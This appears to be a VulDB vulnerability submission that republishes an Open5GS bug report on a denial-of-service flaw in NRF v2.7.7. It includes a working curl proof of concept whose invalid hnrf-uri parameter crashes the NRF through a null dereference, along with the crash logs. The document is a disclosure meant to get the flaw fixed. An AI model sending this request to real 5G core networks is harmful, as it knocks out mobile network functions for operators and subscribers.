Soumettre #808509: Open5gs NRF v2.7.7 Denial of Service

### Open5GS Release, Revision, or Tag

v2.7.7

### Steps to reproduce

### Description

NRF crashes during inter-PLMN discovery fallback when an invalid `hnrf-uri`
query parameter is supplied together with `target-plmn-list` and
`requester-plmn-list`.

In the fallback path, if no matching home-PLMN NRF is found, the code tries to
parse `hnrf-uri`. On parse failure it logs `request->h.uri`, but `request` has
not been initialized on that path. This leads to a null dereference and
terminates the NRF process.

### Steps to reproduce

```bash
curl --http2-prior-knowledge -m 5 -sS -i --get \
'http://10.33.33.3/nnrf-disc/v1/nf-instances' \
--data-urlencode 'target-nf-type=NEF' \
--data-urlencode 'requester-nf-type=AF' \
--data-urlencode 'target-plmn-list=[{"mcc":"999","mnc":"70"}]' \
--data-urlencode 'requester-plmn-list=[{"mcc":"001","mnc":"01"}]' \
--data-urlencode 'hnrf-uri=not-a-valid-uri'
```

Then check:

```bash
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' nrf
docker logs --since 2026-04-10T17:14:16Z nrf
```

### Logs

```shell
curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream

exited 139 2026-04-10T17:14:17.099516514Z

04/10 17:14:16.997: [sbi] ERROR: yuarel_parse() failed [not-a-valid-uri] (../lib/sbi/conv.c:549)
```

### Expected behaviour

NRF should reject an invalid `hnrf-uri` with a normal HTTP error response and remain running.

### Observed Behaviour

The HTTP/2 stream terminates abnormally and the NRF process exits with code `139`.

### eNodeB/gNodeB

Not required.

### UE Models and versions

Not required.

• La source: ⚠️ https://github.com/open5gs/open5gs/issues/4457
• Utilisateur: LinJu (UID 97503)
• Soumission: 20/04/2026 21:50 (il y a 1 mois)
• Modérer: 11/05/2026 10:02 (21 days later)
• Statut: Accepté
• Entrée VulDB: 362589 [Open5GS jusqu’à 2.7.7 NRF /lib/sbi/conv.c yuarel_parse hnrf-uri déni de service]
• Points: 20